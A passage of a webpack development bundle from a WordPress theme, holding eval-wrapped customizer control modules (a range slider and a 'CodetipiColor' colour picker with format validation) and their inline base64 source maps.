pdmVfb2ZmICkgPT09ICd1bmRlZmluZWQnIHx8IHByb3BzLmNob2ljZXMucmVzcG9uc2l2ZV9vZmYgIT09ICdkJyApICYmIDxkaXYgb25DbGljaz17KCkgPT4gb25QcmV2aWV3RGV2aWNlQ2hhbmdlKCdkZXNrdG9wJyl9IGNsYXNzTmFtZT17J3Jlc3BvbnNpdmVfX3Rvb2wgemVlbi12ZXJ0aWNhbC1jIHJlc3BvbnNpdmVfX3Rvb2wtZCcgKyAoIHByZXZpZXdEZXZpY2UgPT09ICdkZXNrdG9wJyA/ICcgYWN0aXZlJyA6ICcnKX0+XHJcblx0XHRcdFx0XHRcdFx0XHQ8c3ZnIHdpZHRoPVwiMTVcIiBoZWlnaHQ9XCIxNVwiIHZpZXdCb3g9XCIwIDAgMTUgMTVcIiB4bWxucz1cImh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnXCI+PGcgZmlsbD1cIm5vbmVcIiBmaWxsUnVsZT1cImV2ZW5vZGRcIj48cmVjdCBzdHJva2U9XCIjRkZGXCIgc3Ryb2tlV2lkdGg9XCIyXCIgeD1cIjFcIiB5PVwiMVwiIHdpZHRoPVwiMTNcIiBoZWlnaHQ9XCIxMFwiIHJ4PVwiMVwiLz48cmVjdCBmaWxsPVwiI0ZGRlwiIHg9XCIzXCIgeT1cIjEzXCIgd2lkdGg9XCI5XCIgaGVpZ2h0PVwiMlwiIHJ4PVwiMVwiLz48L2c+PC9zdmc+XHJcblx0XHRcdFx0XHRcdFx0PC9kaXY+IH1cclxuXHRcdFx0XHRcdFx0XHR7ICggdHlwZW9mICggcHJvcHMuY2hvaWNlcy5yZXNwb25zaXZlX29mZiApID09PSAndW5kZWZpbmVkJyB8fCBwcm9wcy5jaG9pY2VzLnJlc3BvbnNpdmVfb2ZmICE9PSAndCcgKSAmJiA8ZGl2IG9uQ2xpY2s9eygpID0+IG9uUHJldmlld0RldmljZUNoYW5nZSgndGFibGV0Jyl9IGNsYXNzTmFtZT17J3Jlc3BvbnNpdmVfX3Rvb2wgemVlbi12ZXJ0aWNhbC1jIHJlc3BvbnNpdmVfX3Rvb2wtdCcgKyAoIHByZXZpZXdEZXZpY2UgPT09ICd0YWJsZXQnID8gJyBhY3RpdmUnIDogJycpfT5cclxuXHRcdFx0XHRcdFx0XHRcdDxzdmcgd2lkdGg9XCIxMVwiIGhlaWdodD1cIjE1XCIgdmlld0JveD1cIjAgMCAxMSAxNVwiIHhtbG5zPVwiaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmdcIj48ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoLTIpXCIgZmlsbD1cIm5vbmVcIiBmaWxsUnVsZT1cImV2ZW5vZGRcIj48cmVjdCBzdHJva2U9XCIjRkZGXCIgc3Ryb2tlV2lkdGg9XCIyXCIgeD1cIjNcIiB5PVwiMVwiIHdpZHRoPVwiOVwiIGhlaWdodD1cIjEzXCIgcng9XCIxXCIvPjxyZWN0IGZpbGw9XCIjRkZGXCIgeD1cIjZcIiB5PVwiMTFcIiB3aWR0aD1cIjNcIiBoZWlnaHQ9XCIxXCIgcng9XCIuNVwiLz48L2c+PC9zdmc+XHJcblx0XHRcdFx0XHRcdFx0PC9kaXY+IH1cclxuXHRcdFx0XHRcdFx0XHR7ICggdHlwZW9mICggcHJvcHMuY2hvaWNlcy5yZXNwb25zaXZlX29mZiApID09PSAndW5kZWZpbmVkJyB8fCBwcm9wcy5jaG9pY2VzLnJlc3BvbnNpdmVfb2ZmICE9PSAnbScgKSAmJiA8ZGl2IG9uQ2xpY2s9eygpID0+IG9uUHJldmlld0RldmljZUNoYW5nZSgnbW9iaWxlJyl9IGNsYXNzTmFtZT17J3Jlc3BvbnNpdmVfX3Rvb2wgemVlbi12ZXJ0aWNhbC1jIHJlc3BvbnNpdmVfX3Rvb2wtbScgKyAoIHByZXZpZXdEZXZpY2UgPT09ICdtb2JpbGUnID8gJyBhY3RpdmUnIDogJycpfT5cclxuXHRcdFx0XHRcdFx0XHRcdDxzdmcgd2lkdGg9XCI5XCIgaGVpZ2h0PVwiMTVcIiB2aWV3Qm94PVwiMCAwIDkgMTVcIiB4bWxucz1cImh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnXCI+PGcgdHJhbnNmb3JtPVwidHJhbnNsYXRlKC0zKVwiIGZpbGw9XCJub25lXCIgZmlsbFJ1bGU9XCJldmVub2RkXCI+PHJlY3Qgc3Ryb2tlPVwiI0ZGRlwiIHN0cm9rZVdpZHRoPVwiMlwiIHg9XCI0XCIgeT1cIjFcIiB3aWR0aD1cIjdcIiBoZWlnaHQ9XCIxM1wiIHJ4PVwiMVwiLz48cmVjdCBmaWxsPVwiI0ZGRlwiIHg9XCI2XCIgeT1cIjExXCIgd2lkdGg9XCIzXCIgaGVpZ2h0PVwiMVwiIHJ4PVwiLjVcIi8+PC9nPjwvc3ZnPlxyXG5cdFx0XHRcdFx0XHRcdDwvZGl2PiB9XHJcblx0XHRcdFx0XHRcdDwvZGl2PlxyXG5cdFx0XHRcdFx0XHQ6ICcnfVxyXG5cdFx0XHRcdFx0PC9kaXY+XHJcblx0XHRcdFx0XHR7IHByb3BzLmRlc2NyaXB0aW9uICYmIDxzcGFuIGNsYXNzTmFtZT1cImRlc2NyaXB0aW9uIGN1c3RvbWl6ZS1jb250cm9sLWRlc2NyaXB0aW9uXCIgZGFuZ2Vyb3VzbHlTZXRJbm5lckhUTUw9e3sgX19odG1sOiBwcm9wcy5kZXNjcmlwdGlvbiB9fT48L3NwYW4+IH1cclxuXHRcdFx0XHQ8L2Rpdj5cclxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cImN1c3RvbWl6ZS1jb250cm9sLWNvbnRlbnQgemVlbi12ZXJ0aWNhbC1jXCI+XHJcblx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInJhbmdlLWNvbnRyb2wtd3JhcFwiPlxyXG5cdFx0XHRcdFx0PFJhbmdlQ29udHJvbFxyXG5cdFx0XHRcdFx0XHR2YWx1ZT17IHR5cGVvZiAocHJvcHMudmFsdWUgKSA9PT0gJ29iamVjdCcgPyByYW5nZVZhbHVlW3ByZXZpZXdEZXZpY2VdIDogcmFuZ2VWYWx1ZSB9XHJcblx0XHRcdFx0XHRcdG1pbj17ICBwcm9wcy5jaG9pY2VzLm1pbiA/IHByb3BzLmNob2ljZXMubWluIDogJycgfVxyXG5cdFx0XHRcdFx0XHRtYXg9eyAgcHJvcHMuY2hvaWNlcy5tYXggPyBwcm9wcy5jaG9pY2VzLm1heCA6ICcnIH1cclxuXHRcdFx0XHRcdFx0c3RlcD17ICBwcm9wcy5jaG9pY2VzLnN0ZXAgPyBwcm9wcy5jaG9pY2VzLnN0ZXAgOiAxIH1cclxuXHRcdFx0XHRcdFx0aW5pdGlhbFBvc2l0aW9uPXsgIHR5cGVvZiAocHJvcHMuY2hvaWNlcy5kZWZhdWx0ICkgPT09ICdvYmplY3QnID8gcHJvcHMuY2hvaWNlcy5kZWZhdWx0LmRlc2t0b3AgOiBwcm9wcy5jaG9pY2VzLmRlZmF1bHQgfVxyXG5cdFx0XHRcdFx0XHRyZXNldEZhbGxiYWNrVmFsdWU9eyAgdHlwZW9mIChwcm9wcy5jaG9pY2VzLmRlZmF1bHQgKSA9PT0gJ29iamVjdCcgPyBwcm9wcy5jaG9pY2VzLmRlZmF1bHQuZGVza3RvcCA6IHByb3BzLmNob2ljZXMuZGVmYXVsdCB9XHJcblx0XHRcdFx0XHRcdG9uQ2hhbmdlPXsgaGFuZGxlQ2hhbmdlQ29tcGxldGUgfVxyXG5cdFx0XHRcdFx0XHRyYWlsQ29sb3I9XCIjNDA0MDQwXCJcclxuXHRcdFx0XHRcdFx0c2hvd1Rvb2x0aXA9eyBmYWxzZSB9XHJcblx0XHRcdFx0XHRcdGRpc2FibGVkPXsgIHR5cGVvZiAocHJvcHMuY2hvaWNlcy5kZWZhdWx0ICkgPT09ICdvYmplY3QnICYmIHJhbmdlVmFsdWVbcHJldmlld0RldmljZV0gPT09ICcnfVxyXG5cdFx0XHRcdFx0Lz5cclxuXHRcdFx0XHRcdHtwcm9wcy5jaG9pY2VzLnR5cGUgPyAoIHByb3BzLmNob2ljZXMudHlwZXMgPyA8ZGl2IGNsYXNzTmFtZT1cInJhbmdlLWNvbnRyb2wtdHlwZVwiPntwcm9wcy5jaG9pY2VzLnR5cGV9PC9kaXY+IDogPGRpdiBjbGFzc05hbWU9XCJyYW5nZS1jb250cm9sLXR5cGVcIj57cHJvcHMuY2hvaWNlcy50eXBlIH08L2Rpdj4gKSA6ICcnfVxyXG5cdFx0XHRcdFx0PC9kaXY+XHJcblx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9eyd6ZWVuLXJlc2V0LXdyYXAnICsgKFxyXG5cdFx0XHRcdFx0XHQoICB0eXBlb2YgKHByb3BzLmNob2ljZXMuZGVmYXVsdCApICE9PSAnb2JqZWN0JyAmJiBwcm9wcy5jaG9pY2VzLmRlZmF1bHQgJiYgcHJvcHMuY2hvaWNlcy5kZWZhdWx0ID09PSByYW5nZVZhbHVlIClcclxuXHRcdFx0XHRcdFx0fHwgKCAgdHlwZW9mIChwcm9wcy5jaG9pY2VzLmRlZmF1bHQgKSA9PT0gJ29iamVjdCdcclxuXHRcdFx0XHRcdFx0JiYgcHJvcHMuY2hvaWNlcy5kZWZhdWx0LmRlc2t0b3AgJiYgcHJvcHMuY2hvaWNlcy5kZWZhdWx0LmRlc2t0b3AgPT09IHJhbmdlVmFsdWUuZGVza3RvcFxyXG5cdFx0XHRcdFx0XHQmJiBwcm9wcy5jaG9pY2VzLmRlZmF1bHQudGFibGV0ICYmIHByb3BzLmNob2ljZXMuZGVmYXVsdC50YWJsZXQgPT09IHJhbmdlVmFsdWUudGFibGV0XHJcblx0XHRcdFx0XHRcdCYmIHByb3BzLmNob2ljZXMuZGVmYXVsdC5tb2JpbGUgJiYgcHJvcHMuY2hvaWNlcy5kZWZhdWx0Lm1vYmlsZSA9PT0gcmFuZ2VWYWx1ZS5tb2JpbGVcclxuXHRcdFx0XHRcdFx0KSAgPyAnIHplZW4tLWNsZWFuJyA6ICcnICkgfT5cclxuXHRcdFx0XHRcdFx0PHNwYW4gb25DbGljaz17IHJlc2V0VmFsdWUgfSBjbGFzc05hbWU9XCJkYXNoaWNvbnMgZGFzaGljb25zLWltYWdlLXJvdGF0ZSB6ZWVuLXJlc2V0XCIgdGl0bGU9XCJSZXNldCB0byBkZWZhdWx0XCI+PC9zcGFuPlxyXG5cdFx0XHRcdFx0PC9zcGFuPlxyXG5cdFx0XHRcdDwvZGl2PlxyXG5cdFx0XHQ8L2Rpdj5cclxuXHRcdDwvZGl2PlxyXG5cdCk7XHJcbn07XHJcbmV4cG9ydCBkZWZhdWx0IFJhbmdlRm9ybTtcclxuIl0sInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///./_develop/js/customizer/controls/RangeForm.js\n");
    /***/
  },

  /***/
  "./_develop/js/customizer/controls/dev-control-color.js":
  /*!**************************************************************!*\
    !*** ./_develop/js/customizer/controls/dev-control-color.js ***!
    \**************************************************************/

  /*! exports provided: default */

  /***/
  function _developJsCustomizerControlsDevControlColorJs(module, __webpack_exports__, __webpack_require__) {
    "use strict";

    eval("__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var _ColorPickerForm__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./ColorPickerForm */ \"./_develop/js/customizer/controls/ColorPickerForm.js\");\nfunction _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); }\n\nvar _window = window,\n    wp = _window.wp;\n\n/**\r\n * CodetipiColor.\r\n *\r\n * @class\r\n * @augments wp.customize.Control\r\n * @augments wp.customize.Class\r\n */\n\nvar CodetipiColor = wp.customize.Control.extend({\n  /**\r\n   * After control has been first rendered, start re-rendering when setting changes.\r\n   *\r\n   * React is able to be used here instead of the wp.customize.Element abstraction.\r\n   *\r\n   * @returns {void}\r\n   */\n  ready: function ready() {\n    var control = this; // Re-render control when setting changes.\n\n    control.setting.bind(function () {\n      control.renderContent();\n    });\n    control.rgbaControlNotifications();\n  },\n\n  /**\r\n   * Embed the control in the document.\r\n   *\r\n   * Overrides the embed() method to embed the control\r\n   * when the section is expanded instead of on load.\r\n   *\r\n   * @since 1.0.0\r\n   * @return {void}\r\n   */\n  embed: function embed() {\n    var control = this;\n    var sectionId = control.section();\n\n    if (!sectionId) {\n      return;\n    }\n\n    wp.customize.section(sectionId, function (section) {\n      section.expanded.bind(function (expanded) {\n        if (expanded) {\n          control.actuallyEmbed();\n        }\n      });\n    });\n  },\n\n  /**\r\n   * Deferred embedding of control.\r\n   *\r\n   * This function is called in Section.onChangeExpanded() so the control\r\n   * will only get embedded when the Section is first expanded.\r\n   *\r\n   * @since 1.0.0\r\n   */\n  actuallyEmbed: function actuallyEmbed() {\n    var control = this;\n\n    if ('resolved' === control.deferred.embedded.state()) {\n      return;\n    }\n\n    control.renderContent();\n    control.deferred.embedded.resolve(); // Triggers control.ready().\n  },\n\n  /**\r\n   * Initialize.\r\n   *\r\n   * @param {string} id - Control ID.\r\n   * @param {object} params - Control params.\r\n   */\n  initialize: function initialize(id, params) {\n    var control = this; // Bind functions to this control context for passing as React props.\n\n    control.setNotificationContainer = control.setNotificationContainer.bind(control);\n    wp.customize.Control.prototype.initialize.call(control, id, params); // Remove when <https://core.trac.wordpress.org/ticket/31334>.\n\n    function onRemoved(removedControl) {\n      if (control === removedControl) {\n        control.destroy();\n        control.container.remove();\n        wp.customize.control.unbind('removed', onRemoved);\n      }\n    }\n\n    wp.customize.control.bind('removed', onRemoved);\n  },\n\n  /**\r\n   * Set notification container and render.\r\n   *\r\n   * This is called when the React component is mounted.\r\n   *\r\n   * @param {Element} element - Notification container.\r\n   * @returns {void}\r\n   */\n  setNotificationContainer: function setNotificationContainer(element) {\n    var control = this;\n    control.notifications.container = jQuery(element);\n    control.notifications.render();\n  },\n\n  /**\r\n   * Render the control into the DOM.\r\n   *\r\n   * This is called from the Control#embed() method in the parent class.\r\n   *\r\n   * @returns {void}\r\n   */\n  renderContent: function renderContent() {\n    var control = this;\n    var value = control.setting.get();\n    var form =\n    /*#__PURE__*/\n    React.createElement(_ColorPickerForm__WEBPACK_IMPORTED_MODULE_0__[\"default\"], _extends({}, control.params, {\n      value: value,\n      setNotificationContainer: control.setNotificationContainer,\n      customizerSetting: control.setting,\n      control: control,\n      choices: control.params.choices\n    }));\n    ReactDOM.render(form, control.container[0]);\n  },\n\n  /**\r\n   * Handle removal/de-registration of the control.\r\n   *\r\n   * This is essentially the inverse of the Control#embed() method.\r\n   *\r\n   * @link https://core.trac.wordpress.org/ticket/31334\r\n   * @returns {void}\r\n   */\n  destroy: function destroy() {\n    var control = this; // Garbage collection: undo mounting that was done in the embed/renderContent method.\n\n    ReactDOM.unmountComponentAtNode(control.container[0]); // Call destroy method in parent if it exists (as of #31334).\n\n    if (wp.customize.Control.prototype.destroy) {\n      wp.customize.Control.prototype.destroy.call(control);\n    }\n  },\n\n  /**\r\n  * Handles notifications.\r\n  *\r\n  * @returns {void}\r\n  */\n  rgbaControlNotifications: function rgbaControlNotifications() {\n    var control = this;\n    var code = 'long_title';\n    var patternTest = RegExp(/^(\\#[\\da-f]{3}|\\#[\\da-f]{6}|\\#[\\da-f]{8}|rgba\\(((\\d{1,2}|1\\d\\d|2([0-4]\\d|5[0-5]))\\s*,\\s*){2}((\\d{1,2}|1\\d\\d|2([0-4]\\d|5[0-5]))\\s*)(,\\s*(0\\.\\d+|1|0))\\)|hsla\\(\\s*((\\d{1,2}|[1-2]\\d{2}|3([0-5]\\d|60)))\\s*,\\s*((\\d{1,2}|100)\\s*%)\\s*,\\s*((\\d{1,2}|100)\\s*%)(,\\s*(0\\.\\d+|1|0))\\)|rgb\\(((\\d{1,2}|1\\d\\d|2([0-4]\\d|5[0-5]))\\s*,\\s*){2}((\\d{1,2}|1\\d\\d|2([0-4]\\d|5[0-5]))\\s*)|hsl\\(\\s*((\\d{1,2}|[1-2]\\d{2}|3([0-5]\\d|60)))\\s*,\\s*((\\d{1,2}|100)\\s*%)\\s*,\\s*((\\d{1,2}|100)\\s*%)\\))$/); // Make sure we have the message before proceeding.\n\n    if (!window._wpCustomizeControlsL10n.cheatin) {\n      return;\n    }\n\n    wp.customize(control.id, function (setting) {\n      setting.bind(function (value) {\n        if (false === patternTest.test(value)) {\n          setting.notifications.add(code, new wp.customize.Notification(code, {\n            type: 'warning',\n            message: window._wpCustomizeControlsL10n.cheatin\n          }));\n        } else {\n          setting.notifications.remove(code);\n        }\n      });\n    });\n  }\n});\n/* harmony default export */ __webpack_exports__[\"default\"] = (CodetipiColor);\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8vLi9fZGV2ZWxvcC9qcy9jdXN0b21pemVyL2NvbnRyb2xzL2Rldi1jb250cm9sLWNvbG9yLmpzPzY4MjMiXSwibmFtZXMiOlsid2luZG93Iiwid3AiLCJDb2RldGlwaUNvbG9yIiwiY3VzdG9taXplIiwiQ29udHJvbCIsImV4dGVuZCIsInJlYWR5IiwiY29udHJvbCIsInNldHRpbmciLCJiaW5kIiwicmVuZGVyQ29udGVudCIsInJnYmFDb250cm9sTm90aWZpY2F0aW9ucyIsImVtYmVkIiwic2VjdGlvbklkIiwic2VjdGlvbiIsImV4cGFuZGVkIiwiYWN0dWFsbHlFbWJlZCIsImRlZmVycmVkIiwiZW1iZWRkZWQiLCJzdGF0ZSIsInJlc29sdmUiLCJpbml0aWFsaXplIiwiaWQiLCJwYXJhbXMiLCJzZXROb3RpZmljYXRpb25Db250YWluZXIiLCJwcm90b3R5cGUiLCJjYWxsIiwib25SZW1vdmVkIiwicmVtb3ZlZENvbnRyb2wiLCJkZXN0cm95IiwiY29udGFpbmVyIiwicmVtb3ZlIiwidW5iaW5kIiwiZWxlbWVudCIsIm5vdGlmaWNhdGlvbnMiLCJqUXVlcnkiLCJyZW5kZXIiLCJ2YWx1ZSIsImdldCIsImZvcm0iLCJjaG9pY2VzIiwiUmVhY3RET00iLCJ1bm1vdW50Q29tcG9uZW50QXROb2RlIiwiY29kZSIsInBhdHRlcm5UZXN0IiwiUmVnRXhwIiwiX3dwQ3VzdG9taXplQ29udHJvbHNMMTBuIiwiY2hlYXRpbiIsInRlc3QiLCJhZGQiLCJOb3RpZmljYXRpb24iLCJ0eXBlIiwibWVzc2FnZSJdLCJtYXBwaW5ncyI6Ijs7OztjQUFlQSxNO0lBQVBDLEUsV0FBQUEsRTtBQUNSO0FBRUE7Ozs7Ozs7O0FBT0EsSUFBTUMsYUFBYSxHQUFHRCxFQUFFLENBQUNFLFNBQUgsQ0FBYUMsT0FBYixDQUFxQkMsTUFBckIsQ0FBNEI7QUFFakQ7Ozs7Ozs7QUFPQUMsT0FBSyxFQUFFLFNBQVNBLEtBQVQsR0FBaUI7QUFDdkIsUUFBTUMsT0FBTyxHQUFH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QVcsQ0FBQ0ksSUFBWixDQUFrQlgsS0FBbEIsQ0FBZixFQUEyQztBQUMxQzdCLGlCQUFPLENBQUMwQixhQUFSLENBQXNCZSxHQUF0QixDQUEyQk4sSUFBM0IsRUFBaUMsSUFBSTFDLEVBQUUsQ0FBQ0UsU0FBSCxDQUFhK0MsWUFBakIsQ0FBK0JQLElBQS9CLEVBQXFDO0FBQ3JFUSxnQkFBSSxFQUFFLFNBRCtEO0FBRXJFQyxtQkFBTyxFQUFFcEQsTUFBTSxDQUFDOEMsd0JBQVAsQ0FBZ0NDO0FBRjRCLFdBQXJDLENBQWpDO0FBSUEsU0FMRCxNQUtPO0FBQ052QyxpQkFBTyxDQUFDMEIsYUFBUixDQUFzQkgsTUFBdEIsQ0FBOEJZLElBQTlCO0FBQ0E7QUFDRCxPQVREO0FBVUEsS0FYRDtBQVlBO0FBMUtnRCxDQUE1QixDQUF0QjtBQTZLZXpDLDRFQUFmIiwiZmlsZSI6Ii4vX2RldmVsb3AvanMvY3VzdG9taXplci9jb250cm9scy9kZXYtY29udHJvbC1jb2xvci5qcy5qcyIsInNvdXJjZXNDb250ZW50IjpbImNvbnN0IHsgd3AgfSA9IHdpbmRvdztcclxuaW1wb3J0IENvbG9yUGlja2VyRm9ybSBmcm9tICcuL0NvbG9yUGlja2VyRm9ybSc7XHJcblxyXG4vKipcclxuICogQ29kZXRpcGlDb2xvci5cclxuICpcclxuICogQGNsYXNzXHJcbiAqIEBhdWdtZW50cyB3cC5jdXN0b21pemUuQ29udHJvbFxyXG4gKiBAYXVnbWVudHMgd3AuY3VzdG9taXplLkNsYXNzXHJcbiAqL1xyXG5jb25zdCBDb2RldGlwaUNvbG9yID0gd3AuY3VzdG9taXplLkNvbnRyb2wuZXh0ZW5kKHtcclxuXHJcblx0LyoqXHJcblx0ICogQWZ0ZXIgY29udHJvbCBoYXMgYmVlbiBmaXJzdCByZW5kZXJlZCwgc3RhcnQgcmUtcmVuZGVyaW5nIHdoZW4gc2V0dGluZyBjaGFuZ2VzLlxyXG5cdCAqXHJcblx0ICogUmVhY3QgaXMgYWJsZSB0byBiZSB1c2VkIGhlcmUgaW5zdGVhZCBvZiB0aGUgd3AuY3VzdG9taXplLkVsZW1lbnQgYWJzdHJhY3Rpb24uXHJcblx0ICpcclxuXHQgKiBAcmV0dXJucyB7dm9pZH1cclxuXHQgKi9cclxuXHRyZWFkeTogZnVuY3Rpb24gcmVhZHkoKSB7XHJcblx0XHRjb25zdCBjb250cm9sID0gdGhpcztcclxuXHRcdC8vIFJlLXJlbmRlciBjb250cm9sIHdoZW4gc2V0dGluZyBjaGFuZ2VzLlxyXG5cdFx0Y29udHJvbC5zZXR0aW5nLmJpbmQoICgpID0+IHtcclxuXHRcdFx0Y29udHJvbC5yZW5kZXJDb250ZW50KCk7XHJcblx0XHR9ICk7XHJcblxyXG5cdFx0Y29udHJvbC5yZ2JhQ29udHJvbE5vdGlmaWNhdGlvbnMoKTtcclxuXHR9LFxyXG5cclxuXHQvKipcclxuXHQgKiBFbWJlZCB0aGUgY29udHJvbCBpbiB0aGUgZG9jdW1lbnQuXHJcblx0ICpcclxuXHQgKiBPdmVycmlkZXMgdGhlIGVtYmVkKCkgbWV0aG9kIHRvIGVtYmVkIHRoZSBjb250cm9sXHJcblx0ICogd2hlbiB0aGUgc2